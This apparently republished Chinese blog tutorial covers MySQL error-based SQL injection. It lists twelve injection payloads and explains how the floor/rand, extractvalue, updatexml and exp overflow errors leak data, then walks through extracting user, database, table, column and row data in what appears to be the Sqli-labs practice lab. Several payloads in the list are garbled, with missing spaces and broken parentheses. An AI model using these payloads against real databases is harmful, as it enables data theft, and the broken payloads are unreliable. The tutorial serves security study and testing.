SQL注入-报错注入
source link: https://qwzf.github.io/2019/09/25/SQL%E6%B3%A8%E5%85%A5-%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
之前没有对SQL报错注入详细总结过,总结一下。
SQL报错注入
利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息
12种SQL报错注入语句
1、通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过extractvalue报错,注入语句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、通过updatexml报错,注入语句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
mysql 常用函数
系统信息函数
database()
返回当前数据库名user()
或system_user()
返回当前登陆用户名version()
或@@version
返回MySQL服务器的版本benchmapk(count,expr)
将表达式expr重复运行count次connection_id()
返回当前客户的连接IDfound_rows()
返回最后一个SELECT查询进行检索的总行数session_user()
连接数据库的用户名current_user
当前用户名load_file()
读取本地文件@@datadir
读取数据库路径@@basedir
mysql安装路径@@version_complie_os
查看操作系统
更多参考:mysql 常用函数收集
常见SQL报错注入
SQL注入有12个报错方式,比较常见的有floor报错注入、extractvalue报错注入、updatexml报错注入和exp报错注入
floor报错注入
floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可
select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
x和a是起的别名。
- floor报错注入相关函数
count() 函数
count(*) 函数:返回表中的记录数
报错注入中,floor(rand(0)2)报错是有条件的,记录必须3条以上。所以使用count(\) 函数
floor()函数:返回小于等于该值的最大整数(可以理解为向下取整,只保留整数部分)
concat()函数:字符串拼接
报错注入中,利用concat()函数将想要获得的数据库内容拼接到concat()中,报错时作为内容输出。
rand()函数:可以用来生成0或1
rand(0)函数:也可以用来生成0或1group by a
会根据a的规则对数据进行分组,而分组的时候,mysql会建立一个临时空表进行分组. - floor(rand(0)*2),乘以 2的原因
rand() 是返回 0 到 1 之间的随机数(即使用floor()后,只可以返回0),
那么乘 2 后自然是返回 0 到 2 之间的随机数(即使用floor()后,可以返回0和1)
- rand(0)函数和rand()函数的区别
rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数生成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成。
- 报错分析
rand()函数在查询的时候会执行一次,插入的时候还会执行一次(即使用rand()的话,会执行多次)。这是整个语句报错的关键floor(rand(0)*2)
前六位是011011。group by a
先建立一个空表,用于分组,然后进行分组查询。
第一次rand()执行,查询的结果是0。于是需要插入分组,就在这时,floor(rand(0)*2)
再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ,表中的结果就是:
root@localhost1 | 1 |
然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2)
root@localhost1 | 2 |
遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组, | |
然后floor(rand(0)*2)又被触发,生成第五个值 1 , |
root@localhost1 | 2 |
root@localhost1 | |
因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了。 | |
此时插入因为重复出现同一个key,就会出现报错 重复出现key。而报错中会说明那个key有问题,key中结合了想要了解的字符串root@localhost | |
这样就实现了报错注入。 | |
然后,concat()函数将想要获得的数据库内容拼接到concat()中,报错时作为内容输出。 |
(1)爆用户信息
select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
用户:root
(”1“是因为floor(rand(0)*2)
随机返回1)
(2)爆数据库名
select * from users where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);
数据库名:security
(3)爆数据表名
select * from users where id=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
第四张表名:users
(4)爆字段名
select * from users where id=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
第一个字段名:id
第二个字段名:username
第三个字段名:password
(5)爆数据
select * from users where id=1 and (select 1 from (select count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
username字段下的第一条数据:Dumb
extractvalue报错注入
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
EXTRACTVALUE (XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式。
如果我们写入其他格式,就会报错。并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
爆用户信息
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
用户:root
两个”~
“,是因为0x7e的ASCII码是”~
“
updatexml报错注入
select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
updatexml(目标xml文档,xml路径,更新的内容)
爆用户信息
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
exp报错注入
exp溢出报错注入
select * from users where id=1 and exp(~(select * from (select user())a));
exp是以e为底的指数函数
mysql> select exp(1);
+-------------------+
| exp(1) |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)
但是,数字太大会产生溢出。exp函数会在参数大于709时溢出,报错。
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,将成功执行的函数取反就会得到最大的无符号BIGINT值。
按位取反符:~
按位取反:二进制每一位取反,0变1,1变0
BIGINT:BIGINT[(M)] [UNSIGNED] [ZEROFILL]
M默认为20
大整数。带符号的范围是-9223372036854775808到9223372036854775807。无符号的范围是0到18446744073709551615。
M代表的并不是存储在数据库中的具体的长度。
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~(select user());
+----------------------+
| ~(select user()) |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
mysql> select * from users where id=1 and exp(~(select * from (select database())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `a`.`database()` from (select database() AS `database()`) `a`)))'
在脚本语言中,就会将错误中的一些表达式转化成相应的字符串。从而实现了报错注入。例如(我不演示了):
DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'
总结之后,对SQL报错注入,又有了更加深入的认识。继续努力!
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK